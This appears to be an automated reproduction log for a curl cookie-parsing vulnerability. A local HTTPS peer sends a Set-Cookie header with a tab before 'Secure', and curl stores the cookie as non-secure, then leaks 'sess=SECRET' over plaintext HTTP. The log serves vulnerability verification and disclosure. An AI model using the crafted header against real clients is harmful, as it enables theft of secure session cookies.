SCHEMA_VERSION=1
ROLE=vulnerable
ATTEMPT=2
PRODUCT=curl command-line tool using libcurl
REPOSITORY=https://github.com/curl/curl
COMMIT=621e507300e6c83966567b6ae0352ca82544df13
BINARY=/pruva/project-cache/build/cve-2026-80255/vulnerable/src/curl
BINARY_SHA256=0b148d6123bac9692372a71bcec272dd3fe2a27ce1e7bc20891185400f7f5339
CURL_VERSION=curl 8.22.0-DEV (Linux) libcurl/8.22.0-DEV OpenSSL/3.5.5 nghttp2/1.68.0
ENTRYPOINT_KIND=tcp_peer
SERVICE_STARTED=true
HEALTHCHECK_PASSED=true
TARGET_PATH_REACHED=true
ATTACKER_HEADER_HEX=5365742d436f6f6b69653a20736573733d5345435245543b09536563757265
COOKIE_JAR_SECURE_FIELD=FALSE
PLAINTEXT_COOKIE_HEADER_SEEN=true
EXPECTED=secure_field=FALSE cookie_seen=true
RESULT=PASS
--- LOADER AND LINKER EVIDENCE ---
	linux-vdso.so.1 (0x00007ffdba5b5000)
	libssl.so.3 => /usr/lib/x86_64-linux-gnu/libssl.so.3 (0x000077a60bd04000)
	libcrypto.so.3 => /usr/lib/x86_64-linux-gnu/libcrypto.so.3 (0x000077a60b6ea000)
	libnghttp2.so.14 => /usr/lib/x86_64-linux-gnu/libnghttp2.so.14 (0x000077a60b6c0000)
	libc.so.6 => /usr/lib/x86_64-linux-gnu/libc.so.6 (0x000077a60b49f000)
	libz.so.1 => /usr/lib/x86_64-linux-gnu/libz.so.1 (0x000077a60b481000)
	libzstd.so.1 => /usr/lib/x86_64-linux-gnu/libzstd.so.1 (0x000077a60b3bc000)
	/lib64/ld-linux-x86-64.so.2 (0x000077a60bfb7000)
--- HTTPS SETTER PEER ---
LISTENING mode=https-setter address=127.0.0.1 port=38367
ACCEPTED mode=https-setter peer=127.0.0.1:40968
TLS_ESTABLISHED version=TLSv1.3
REQUEST_HEX=474554202f7365742d636f6f6b696520485454502f312e310d0a486f73743a207461622d636f6f6b69652e696e76616c69643a33383336370d0a557365722d4167656e743a206375726c2f382e32322e302d4445560d0a4163636570743a202a2f2a0d0a0d0a
REQUEST_TEXT_BEGIN
GET /set-cookie HTTP/1.1\r
Host: tab-cookie.invalid:38367\r
User-Agent: curl/8.22.0-DEV\r
Accept: */*\r
\r

REQUEST_TEXT_END
SET_COOKIE_HEX=5365742d436f6f6b69653a20736573733d5345435245543b09536563757265
RESPONSE_SENT bytes=90
--- COOKIE JAR ---
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

tab-cookie.invalid	FALSE	/	FALSE	0	sess	SECRET
--- PLAINTEXT CAPTURE PEER ---
LISTENING mode=http-capture address=127.0.0.1 port=42753
ACCEPTED mode=http-capture peer=127.0.0.1:41590
REQUEST_HEX=474554202f706c61696e7465787420485454502f312e310d0a486f73743a207461622d636f6f6b69652e696e76616c69643a34323735330d0a557365722d4167656e743a206375726c2f382e32322e302d4445560d0a4163636570743a202a2f2a0d0a436f6f6b69653a20736573733d5345435245540d0a0d0a
REQUEST_TEXT_BEGIN
GET /plaintext HTTP/1.1\r
Host: tab-cookie.invalid:42753\r
User-Agent: curl/8.22.0-DEV\r
Accept: */*\r
Cookie: sess=SECRET\r
\r

REQUEST_TEXT_END
RESPONSE_SENT bytes=59
--- SETTER CURL OUTPUT ---
--- CAPTURE CURL OUTPUT ---
OK